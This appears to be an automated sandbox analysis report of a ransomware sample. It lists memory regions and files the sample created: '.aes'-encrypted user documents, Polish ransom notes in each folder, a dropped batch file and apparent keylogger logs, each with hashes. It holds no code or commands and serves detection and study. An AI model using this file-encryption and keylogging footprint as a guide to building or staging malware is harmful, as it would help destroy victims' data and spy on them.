msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x75650000 0x76299fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efa4000 0x7efa4000 0x7efa6fff Private Memory Readable, Writable True True False
private_0x000000007efa7000 0x7efa7000 0x7efa9fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
For performance reasons, the remaining 156 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\programdata\keyboard\17102017_012722.log 0.04 KB (37 bytes) MD5: a1fb0cacc1cee630641b508b2086b7a9
SHA1: 064cf6477e359f9084098da05bc974b1147f16f4
SHA256: 6426309787950c45434ce8d35229ff32437868cc6c437c397625061cb788ec81 		False
c:\programdata\keyboard\17102017_012722.log 0.08 KB (85 bytes) MD5: 2aed3869dc90e2c688b00a7f76050ece
SHA1: 8e22e62dc5916fd9001262d356461644de9e1c48
SHA256: a25b97ccc667cf1fa3df95fd22c16f8f20c7671ef5e29ffc7424ee3f08124538 		False
c:\programdata\keyboard\17102017_012722.log 0.48 KB (489 bytes) MD5: b637d1056fb3a64637527b0de3c2722a
SHA1: 8ef4b8b0fe397f596922aae624c4c61cea02ac35
SHA256: 2cb8d99c2bf5b5b73e03e8690a5e981f547e4e1aad2aacae16f9e03124537c38 		False
c:\users\kft6utqw\appdata\local\temp\cab8999.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\appdata\local\temp\tar899a.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\appdata\local\temp\cab8a08.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\appdata\local\temp\tar8a09.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\appdata\local\temp\cab8aa6.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\appdata\local\temp\tar8aa7.tmp 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\videos\extoa\5rxjc 2tw9i2cmhdlv\-vero sqdwv.avi.aes 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
c:\users\kft6utqw\appdata\local\temp\cab8999.tmp 51.73 KB (52967 bytes) MD5: 26763abb95381e4931c194e34023c33a
SHA1: e1b8114caa3a6b173c2e04e356a5065e7b2ca968
SHA256: 49f2686e30a59fabf11db1234c377497cf09e941ff50a0346854d087e8b08587 		False
c:\users\kft6utqw\appdata\local\temp\cab8a08.tmp 51.73 KB (52967 bytes) MD5: 26763abb95381e4931c194e34023c33a
SHA1: e1b8114caa3a6b173c2e04e356a5065e7b2ca968
SHA256: 49f2686e30a59fabf11db1234c377497cf09e941ff50a0346854d087e8b08587 		False
c:\users\kft6utqw\appdata\local\temp\tar899a.tmp 123.21 KB (126167 bytes) MD5: 0dab7711a89d642ffe6ea216d92e56c1
SHA1: f2295d85679189d4fc1aac7c761be81447299ec5
SHA256: 163a6d7aaf9374ae4f1b4ee744a906b68da772aaa22095b4ecae709fb6d889e5 		False
c:\users\kft6utqw\appdata\local\temp\tar8a09.tmp 123.21 KB (126167 bytes) MD5: 0dab7711a89d642ffe6ea216d92e56c1
SHA1: f2295d85679189d4fc1aac7c761be81447299ec5
SHA256: 163a6d7aaf9374ae4f1b4ee744a906b68da772aaa22095b4ecae709fb6d889e5 		False
c:\users\kft6utqw\appdata\local\temp\cab8aa6.tmp 52.71 KB (53978 bytes) MD5: 03f9e1f45c0d5fe8e08af7449ba1fa2f
SHA1: da545c3133a914434cce940bae78d8ad180a529a
SHA256: 677ffb54bd3cc0e2e66eccaf2f6e6c8e1050286516e4f2ef984a3a3673ccc311 		False
c:\users\kft6utqw\appdata\local\temp\tar8aa7.tmp 126.77 KB (129813 bytes) MD5: 4479a52b31b6bde89384fb63854ec382
SHA1: 71386477836e4081befb501a266ccc4c984030e0
SHA256: 8c0f5d09cf41e38cf161b6cdd1c3a76cec845b7c11db267ab800edabf1a23fb2 		False
c:\programdata\keyboard\17102017_012722.log 0.53 KB (544 bytes) MD5: d64d152896c18c6c805a792270a2df0f
SHA1: c859282002c93ab665ae07992074214b328caf50
SHA256: 0bda07e2a3283ef8f30d50ddd1fc99b854a1d86c497fcd2572dfb2d65b46192e 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\nvo-4p-kzz-c6do0e\1bus.odt.aes 70.85 KB (72546 bytes) MD5: f2cab558712cd7186fcf61d6f3787620
SHA1: 40a933423897a3f92306a5881ac01c9181ca9afd
SHA256: a3c45f43e438c138ca658fbb4e05734d8c15acce65427bec9135f091c2730593 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\nvo-4p-kzz-c6do0e\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: cbe0aa03a088135610ec0779aba641c5
SHA1: 9b36102fabaf1599b4f6f5f52c2645e3194aba67
SHA256: 10b7fb47b1daca2e850685089a4099b1e3e6b95e57d062434dff57a0ac2727a6 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: cbe0aa03a088135610ec0779aba641c5
SHA1: 9b36102fabaf1599b4f6f5f52c2645e3194aba67
SHA256: 10b7fb47b1daca2e850685089a4099b1e3e6b95e57d062434dff57a0ac2727a6 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\nvo-4p-kzz-c6do0e\b-s_mvdiahrja wonyd7.csv.aes 54.47 KB (55778 bytes) MD5: dbcb43a9798c0304870a937e10d2b081
SHA1: f1a7ef9a881ffa6185da630da6e884b11bbb5260
SHA256: 9f939c63edf1a9169fd470cda68210ed428d86ca83cb9037c322f93c3c53929c 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\3frpiupvjo9pxh.doc.aes 68.28 KB (69922 bytes) MD5: da8d033bbbe5b451eac7b4ac77ee0d16
SHA1: 34e0c518033bb64058b612e7ceeb20578d5ca2cd
SHA256: b6182e025ca557bb2c1538d2d498ff163ec0bbca095149619f716358627077b8 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\7wldze9wqqhkod.odp.aes 73.50 KB (75266 bytes) MD5: 4420d02ae796332100cb6fb22d53981e
SHA1: cc3baed9e423ca7029a69b5e05e7343f6b0fc22e
SHA256: 8bab0ee1a1e2d309eaf3bf055575b00828bb0f5ebab96a0ac6ae61f7c82ef4b4 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\hvcemxs1islck.doc.aes 48.66 KB (49826 bytes) MD5: 2097ab114a5b50c789d3d41038337434
SHA1: 1c42f8ae3849e66b3ac412a8dc101c63ed2459ba
SHA256: c18f2f582daa67496f9d55aacf60e3edb9dc74eadb1f3875af33ced36447f206 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\pa730znol5.rtf.aes 10.99 KB (11250 bytes) MD5: 58bf0255677de942755ea7b7dbcfaf10
SHA1: f60e537f2659ce20ce8b8f86092ffce3ba47bba6
SHA256: 413416e46b46964f5d0fb72b330ffc5d7ac3c49bcfa6826cc9d04e70137aab25 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\hkrkjnzp\_x864g9nghehtp16yw.ods.aes 69.83 KB (71506 bytes) MD5: 46f2018c9afedc0f7cd8ceddb2e00e95
SHA1: 88ebb09b8b4b916f0bd5118e7ffb84b04880953f
SHA256: 2a99f7ac23b8090ab9004e5268c8381c66e4c13b8c6222260b645bb862a8e360 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p9grc6n9ugq9v\0qp cbtp2kdutxphn8y.csv.aes 98.56 KB (100930 bytes) MD5: 1dd5743b7642ab3f7ebf23a2c4d11bed
SHA1: 0fa780b46783b4d6d02c2fcdcc76e380964a8072
SHA256: 48ed4ee93ac7712258e9692ffe388ffde95f41234bfbcf39de333d1478ce63fb 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p9grc6n9ugq9v\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 0b5f0f80cc4b36b483bb621bb425c777
SHA1: 933d96b6b6f3953641eb927871482d46a68587b1
SHA256: e4841e111ff327774b47d7a880fc5ef644885929615b1a9b3ac325cf2ddcf0a4 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p9grc6n9ugq9v\f6p3h-e5k60slj.pdf.aes 32.77 KB (33554 bytes) MD5: f8023e58ab11fa5ef5e9f6a263d672a3
SHA1: a886ac508b0e21b56829e27c1a68504a3bc25cf5
SHA256: c32e2e5fae3a1ba9c7ac5afb2e44ee719a2a7d79a06a25206ce41997d3693e1c 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p9grc6n9ugq9v\iufdafezbb3p- l4i3e.rtf.aes 87.08 KB (89170 bytes) MD5: 28ebc3a1b1fe94cc03f43f3cdd76b961
SHA1: 40915812c97a291642b009625b59bddb3c09530d
SHA256: 71425428390900f936b53991578c19e2161a143028209a919e297476d51db896 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p9grc6n9ugq9v\pwqhqsjinpvfkbjkrzb.rtf.aes 5.35 KB (5474 bytes) MD5: 663b3cb0a0ffde4211d6099d1d744572
SHA1: 6cdfff84c93a0cde5805a2fe81a4f27d223daba0
SHA256: 97ec7a84cbf36bc41d4a6ec973f3f76c725b5129ab814c7d93c56647b3f8739b 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p9grc6n9ugq9v\t8rijba3r5ril.pptx.aes 33.42 KB (34226 bytes) MD5: ab4d82455547a815c43ed9c055badce6
SHA1: 8bb40d5459ee9726d3728cd4c76fa35e800f5c5e
SHA256: 8b3bcab35f8e11efb3807baa8785328322c03f0145f863422525df5e87ba0c76 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\0_b3ijrl61ikm2.xls.aes 54.13 KB (55426 bytes) MD5: 8e4cc4c2b7762bb926abbb3007736831
SHA1: d6d246bc12fcb5e67e121caf52d07feb6cce47ec
SHA256: 8228409efa8aa583936fd32c6b3137ca5e4677c4c2c0cfaadd5a8e21cc54a2f3 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: b862b4250082ea6c4db185c4068292b4
SHA1: 3637ded2b5a9eb6beb9cf479ffe1324a240c8880
SHA256: a81c24f504e998f5a0003223d74aeb74f0a4ecf81f06e979a4b468bc2c847bfc 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\568wxqkdq_fimwon.pdf.aes 95.31 KB (97602 bytes) MD5: 247b667d9fb0fc8b2eeb7f6b8dd15360
SHA1: 86aea694a1065a8a261b8b878c25bedd8c5d5cdf
SHA256: c6a0aca2c5b19931f50fa52b0e3f24f854d7d5516ceac0983bb169d1de30d9bd 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\8m1fcp.ots.aes 67.94 KB (69570 bytes) MD5: c3fa5deca0032d11062c098aca043806
SHA1: f29cdcc56481817d3507edbc5a67c188074d467d
SHA256: 180f9e94819f02c6b8ff6e3d093973c16cc869c8e0871a429e312a85c235aed5 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\p2qhvhrc07x 6m.odt.aes 49.85 KB (51042 bytes) MD5: 1c97627a6dbb86fd651e5a2ecdd1c439
SHA1: 7b682fcff36969b9c76b2b879668c588dca05da9
SHA256: 7dd3b123673fe046879e00ef60e78482ee4b53411830fe23ee03dce07644d068 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\urm66b8mfk_b.docx.aes 54.50 KB (55810 bytes) MD5: d9ea2dd5cc2040cebb83b1202a21bcc8
SHA1: d523dea27e8e78cfc129ad6e4c79f03681956d05
SHA256: b805ff00bed7062529f73f3bd639421542860dbadfcd7fd470743ffa0054f1f7 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\vfwuhdcvzf0grto.pptx.aes 99.89 KB (102290 bytes) MD5: e703703b34b46197760b09e17cf8df6a
SHA1: 78f113ba271b320ebb256029640d38633fdfa053
SHA256: 179ef98c877640d95d681751c615cfd7cc26cb6735ad9dabbe158c20ffc95082 		False
c:\users\kft6utqw\documents\6_uymfikkpct\oxq6tndno0\wvf jpe1b.xls.aes 59.94 KB (61378 bytes) MD5: 760f9fb0025e83f024a3cf667642a529
SHA1: 4b9e921ca48b9204bd2f0d15a22b77492363d379
SHA256: c7946be6a97b1d1b8136be5226cbd00c1d01543afb780a5341d07fc9eb89d5d9 		False
c:\users\kft6utqw\documents\6_uymfikkpct\qa6qfkq\n1mkd81vkeia7s2.rtf.aes 42.21 KB (43218 bytes) MD5: 8a8c0f566668e1b12b7fc374828700ec
SHA1: 36a31257d40b8f92f2f6cb1c3baabf73c0f2f3fe
SHA256: e6b2fd1d505f8752f242990ec1d3d79eae59bd57fef2b63aada93d2c531254de 		False
c:\users\kft6utqw\documents\6_uymfikkpct\qa6qfkq\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: f9ae75622ad7932bde701dd30af9ab14
SHA1: 27afb65304d50a280fe85b6b8986766c6adf77f2
SHA256: 866ea96120ab6a005968d8c52e61bec38d7bd6d57c5c88ce4ea616167c2322b7 		False
c:\users\kft6utqw\appdata\roaminghhfhqi2h.wln.bat 1.61 KB (1648 bytes) MD5: 2cf00a0b576815e19471a6cfe7a0d898
SHA1: dee9eab29048d71fc2c04bf18edb260bf12fb84e
SHA256: 1aaedbc63631dcece73558d47f1f587bf001ffd0d2bcfabd53fd220145238cbd 		False
c:\users\kft6utqw\documents\6_uymfikkpct\qa6qfkq\orrmspmnhogtvab.doc.aes 61.47 KB (62946 bytes) MD5: 861e60657aebfcc7642f866b5a0a750a
SHA1: b75956081f84bff389f8fa4f973f4a347244584b
SHA256: 2f5acaae23f5533756bebe73f7bbadbc5246b0ffe98e1116ef305d0e69e622bb 		False
c:\users\kft6utqw\documents\6_uymfikkpct\qa6qfkq\pp5 bxjs.pptx.aes 63.05 KB (64562 bytes) MD5: 86c2590421d0d348a200f05dc4e7c4ad
SHA1: 23604d488a32495bb3421425f4e7cfa19fba158b
SHA256: d7834715834fdb5e81ac4cb8101fcc07dca7426c95f47c8fd084518da41f816e 		False
c:\users\kft6utqw\documents\6_uymfikkpct\qa6qfkq\xlyls6yx0mico1.pps.aes 2.05 KB (2098 bytes) MD5: 2a7bfc3cf0f4fbe0577883b7d30b24d1
SHA1: 279fa16faa121754dd7c8b8473384753fa6678cc
SHA256: 0ee488c057b7eb0dea6fd92d10c54e4af2702a575372f8ce9c037cb3465c9dd4 		False
c:\users\kft6utqw\documents\6_uymfikkpct\-gjqedw.odt.aes 99.64 KB (102034 bytes) MD5: 456eed0508e2413c39b2b8d84675eaca
SHA1: 5096048a6c050f8a854d340602ede89a93ed4a99
SHA256: 4da6555871ca52baf7e32a27f507ed24c51ee682c510f203f5f2c25ed1d95654 		False
c:\users\kft6utqw\documents\6_uymfikkpct\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 8886e301646afb67cb7813dc0f7e02cf
SHA1: d88cd92273a6ebdcb2f15397f26538225f72b569
SHA256: 088385cb2c06a411ad885942c2622cfe1a5019eb813d8c864c6e9f207dd8996e 		False
c:\users\kft6utqw\documents\6_uymfikkpct\8puhjof5oub0zf3kj4pk.ods.aes 33.24 KB (34034 bytes) MD5: f736d4fe414d5a96da5d318e17003b7a
SHA1: 8f540830fa6292849ed7e1e7467a9913dae51d65
SHA256: 23a952ff47965e370d1e0734bb24e961d17f388a0bcb699812214ad374293809 		False
c:\users\kft6utqw\documents\6_uymfikkpct\eqov.odp.aes 74.99 KB (76786 bytes) MD5: 629c3efd21e819bf8403e7bac426ff43
SHA1: 6ed8a239d5e5c66f7b902c5c150a485deca35888
SHA256: 45b0b2e857db63bebfa3b32e019df246fce7be46831e8915db236db3f03ef7ab 		False
c:\users\kft6utqw\documents\6_uymfikkpct\szjbmk.odt.aes 71.78 KB (73506 bytes) MD5: 7d6189a5e358a3db01df0b2bc9d0266a
SHA1: 355c5027b132c1362a9e432006d1908838ac5ff4
SHA256: 1e60d21becf6a5139ee2f4954254cf9628791fa1113fd2cf8fd4ca92aea49232 		False
c:\users\kft6utqw\documents\6_uymfikkpct\twiwowooujkw1 zw.xlsx.aes 45.46 KB (46546 bytes) MD5: 153ee5db297301ffd96983788dccea06
SHA1: af48185220f49d199f1cd2dd0e185700d2c05629
SHA256: 32897f53047e553dc85126c580bbe2e66af2fc00e85086aa5328d2c997c85e0c 		False
c:\users\kft6utqw\documents\6_uymfikkpct\x4gpvtjmanpijoufg-lc.doc.aes 58.81 KB (60226 bytes) MD5: 26f64e8f52b26de04290c2d83e4fb7c9
SHA1: affc2244157cb2ce3c91cf94b1b7386d44e08882
SHA256: 23dddcc330308bdf3e54772f032afb7543cd69a2b44f12be89a8d9d8958ba1c6 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\0kc5nr5.rtf.aes 86.17 KB (88242 bytes) MD5: eb4ad3a71fef07c5a245e222165f1a97
SHA1: 76b9971d5a40c71c7560e6cca39b44ad3ba52bc4
SHA256: 2a458896b551c6fd2d2a581d5b99f1e2899ae369d27222d6161ec53ee6584f7c 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: d28ffc0599c0bf506262aaa0165f04e8
SHA1: 793b0f06ae3ae91e2e9e35304e3ea4915fa5e036
SHA256: 0488eb29731384d0809a3b6ea398bf3696425c759803a0cf3cb07a750a8f1df9 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\9oiefcy.csv.aes 20.96 KB (21458 bytes) MD5: d9f2d8ef5888f99a555ba812248ab13f
SHA1: c1b405cbf7a26852d3309ffcccdc9145cfe217ca
SHA256: 49a36342151e20aefbf760e22585680bb975b7b79bfad8e1894d735a116e9c7f 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\a2yhs.rtf.aes 2.28 KB (2338 bytes) MD5: b2e7008bea1bf130a8fe4100c506c7cb
SHA1: 5c6391712575d5591befc65932fe87ef58475a2f
SHA256: 5fae1cfde692ab6411ac4548c2c1567b2717e5fe3498533751337d34861c4af4 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\jjjmv9taw3hhvo.ods.aes 54.60 KB (55906 bytes) MD5: add50a9d4fe1bbf810bc937bfdcbd5a2
SHA1: 8e65889419c460fd1053a175bd6cb4ac2926d30c
SHA256: a0d78a02b9120cd272466d4abe2b6cf3eac07fce75124c69d44b767bf9b7889e 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\okb6ch9a4iqri_jw.csv.aes 89.25 KB (91394 bytes) MD5: c32036dd886239d37943c07ba0162421
SHA1: e3762ea1a5d3175a86be28e4701178f14286815f
SHA256: 12a6bfd65442d5a6dea0eb07df54c271530d9cacd50ca2c5d488f12bdc0b0137 		False
c:\users\kft6utqw\documents\lq5_4qumspxkagf3\pnxtgcqo4yh5r.odt.aes 71.86 KB (73586 bytes) MD5: 6a14d50c775b23919f576eb8ccd008b5
SHA1: 702ff432d5b62281f50f3b17cecd679caae3278f
SHA256: 4786addec83d6e65d1d11d613d89e1d1f8a5c2bd394bcc3ad9283915bcab8059 		False
c:\users\kft6utqw\documents\31c8jf9y_xli.docx.aes 89.67 KB (91826 bytes) MD5: f4141b893956c5fcaa6b6f5657bdf728
SHA1: 4deb4e031cbcffb0db883c470281ad096a2ef6b0
SHA256: 701a94fdfff7ee232bec3f9fdf7082d9f9936f193abf9c67eb083c85db255abd 		False
c:\users\kft6utqw\documents\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 8c73ebb6192923bd0767d3e8e5eaa3ba
SHA1: 0d71f61d9c8ccad698a30eb2908b921b1b14596f
SHA256: bb77c9af9c798eb1a2a18bd21b70ea100c20530f4de7ca2370e64bc0f4267e4f 		False
c:\users\kft6utqw\documents\4mqnx-qcbrpg7.docx.aes 42.16 KB (43170 bytes) MD5: 68f7c6e9369b2fa7185fc46e6264cf62
SHA1: 6d1dba81e71cb6803388eb92533786f337b63234
SHA256: 3ecaf96c0f29ebb5688ce497f0d63ba88bcfcd8abfff76ddb2f2cf6d66c4c1d0 		False
c:\users\kft6utqw\documents\aonimexn t.xlsx.aes 24.78 KB (25378 bytes) MD5: 6337e686c637acdb910f80da94d869b1
SHA1: b36bbde406ae72f2c78467800a609095dcc89e07
SHA256: 6324ebb54dc1022d62d93931e6327dff103e4951f7a0f84a02d68b90f59c7850 		False
c:\users\kft6utqw\documents\bcatcic fci96kikr19.pptx.aes 55.00 KB (56322 bytes) MD5: aeeee30c5b77d154e1423af81dca3076
SHA1: afb08ed85991523a3f618133db01c401f6dba5f6
SHA256: b636ce4e26604c5c79691ea2168de1c7c95b39f613feadedf5d39f1e74871c36 		False
c:\users\kft6utqw\documents\bdvwr.doc.aes 46.16 KB (47266 bytes) MD5: 1f9c6027cd30ae2e2cafc82f218b8ed0
SHA1: 7214cb54b3648d66efd5e1a2a0af95975182d7b7
SHA256: 87d16ba0e6edc1bb891c79ac7d9a3e65cd1bdd4d09a6061be3282aa532a6f5c3 		False
c:\users\kft6utqw\documents\d-4thvumdh.csv.aes 95.27 KB (97554 bytes) MD5: 6e238555ba20055a197fc06cae44d052
SHA1: a2708ecf3b0dad7eb50900a8ef632c3b2c19bbeb
SHA256: 832a5693695b7fc95556d4a45f1cb062a1369ce5addaee64920e10b4aed4e465 		False
c:\users\kft6utqw\documents\ev0ylmk5921.pptx.aes 88.61 KB (90738 bytes) MD5: 7e8911b50f352ff4575046afe9dfe30f
SHA1: 4bae349c4c78751a39726411c591af439dc9ce6f
SHA256: 4051677f29f7ec50a8f34a4c6c25132f2d53fed58c0dd7b0a7b483d0af0cf49b 		False
c:\users\kft6utqw\documents\fbmldmouw-tzoy_unn7.xlsx.aes 39.03 KB (39970 bytes) MD5: 39cd60a5cccc800a9a3ca9aee965d469
SHA1: 60a5945c047bacc4bc53eb314f296828e37d05c9
SHA256: 3112ec6461a1bfbeb9c7d294be6e83bd11627f7933d8b059a0e594d3363261a3 		False
c:\users\kft6utqw\documents\gxfwksunytgfj.pptx.aes 26.75 KB (27394 bytes) MD5: 043ba7ac688249dd26003e85ccdc0b84
SHA1: b7b5bb27edb9a11bcb7b53bef291a0eb442102d9
SHA256: 864d89e06f543e6e0eb75c454d825bbfb2bab8c80aa506275f388c2e973e3d6a 		False
c:\users\kft6utqw\documents\hhx-9rkimupsnon0ejb.pptx.aes 48.60 KB (49762 bytes) MD5: f84fe8b88700cafc4ff65e6298d5a1ef
SHA1: cda97cd47f344c4ce39926392f9c548b957e2b82
SHA256: aa41569f77a436824375431b555c936e3db6dbbe649c8ec12d2935a1d3519a4d 		False
c:\users\kft6utqw\documents\lcptyhqe.xlsx.aes 48.89 KB (50066 bytes) MD5: ad2026da18a6b90512a138ba1eb63480
SHA1: 381041bc4e94295c38ca1357fc6e205acab7192b
SHA256: 0d70b1d2ef594a2b81fafcdc134f86efee925230d0d36d0a0d2f2a02d5368e59 		False
c:\users\kft6utqw\documents\u5x9.ppt.aes 19.63 KB (20098 bytes) MD5: cd6547e82546369d205f3c01ea5abbc0
SHA1: 4130f2ee7457f5be0424affcc2b3708d256fdb00
SHA256: 1cf5460dba6cfe5cba25fcb560b705964b94cb3a6c2b198d7a6ece21be011e5e 		False
c:\users\kft6utqw\documents\wffphgzw1qt5nubkpq.docx.aes 32.89 KB (33682 bytes) MD5: 1adb40e44060aba93c76a3109e110d1c
SHA1: db5ddc160bf842f336f418e21371346a3f09fc3b
SHA256: 70f279cda13e70219f3d73933b90f5c8961db23b00fd003a7bf7f38cad1b1a39 		False
c:\users\kft6utqw\documents\zb6u3g7h.xlsx.aes 5.05 KB (5170 bytes) MD5: 42d603d0f87c590def22ae3f8564d81f
SHA1: 26771d40be67fcd75deb178cb9ded7eb83ec7fc7
SHA256: 49e717e750ac3e95199a8a887f47feaf0dbd8aec66f394e9105fde8b40f2e658 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\hgzfj\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 69acb08ae8248c29e285c9963fb7079f
SHA1: 9e8b264a6cd08d7e34dba0ee314ba034fbe0583b
SHA256: 4bc51d5c37619b6e1008b39ca72b5dccb28b952de60feedf9f504a979d87fcbe 		False
c:\users\kft6utqw\pictures\e8b06t5z\joddd\tmdcgsua1hpeixp_g-_\#$# jak-odzyskac-pliki.txt 2.54 KB (2604 bytes) MD5: 69acb08ae8248c29e285c9963fb7079f
SHA1: 9e8b264a6cd08d7e34dba0ee314ba034fbe0583b
SHA256: 4bc51d5c37619b6e1008b39ca72b5dccb28b952de60feedf9f504a979d87fcbe 		False
